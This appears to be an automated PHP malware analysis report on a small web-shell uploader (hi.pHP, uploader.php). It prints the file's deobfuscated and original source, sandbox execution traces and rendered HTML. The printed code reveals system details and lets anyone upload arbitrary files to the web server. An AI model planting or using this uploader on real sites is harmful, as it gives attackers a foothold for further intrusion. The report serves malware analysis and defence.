PHP Malware Analysis
hi.pHP, uploader.php, uploader.txt
md5: a6b7043572c4646c84bce7aea7709221
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Environment
- php_uname (Deobfuscated, Original, Traces)
Files
- copy (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Deobfuscated PHP code
<?php
echo '<pre>' . php_uname() . "\n" . '<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';
if ($_POST) {
if (@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])) {
echo "OK";
} else {
echo "ER";
}
}Execution traces
data/traces/a6b7043572c4646c84bce7aea7709221_trace-1676239895.1336.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:12:01.031411]
1 0 1 0.000149 393528
1 3 0 0.000204 395624 {main} 1 /var/www/html/uploads/uploader.php 0 0
2 4 0 0.000220 395624 php_uname 0 /var/www/html/uploads/uploader.php 1 0
2 4 1 0.000234 395736
2 4 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
1 3 1 0.000257 395624
0.000283 314240
TRACE END [2023-02-12 20:12:01.031577]
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:29:36.448330]
1 0 1 0.000168 393464
1 3 0 0.000225 395552 {main} 1 /var/www/html/uploads/hi.pHP 0 0
2 4 0 0.000241 395552 php_uname 0 /var/www/html/uploads/hi.pHP 1 0
2 4 1 0.000255 395664
2 4 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
1 3 1 0.000278 395552
0.000303 314200
TRACE END [2023-02-13 01:29:36.448499]
Generated HTML code
<html><head></head><body><pre>Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64
<br><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form></pre></body></html>Original PHP code
<?php echo '<pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>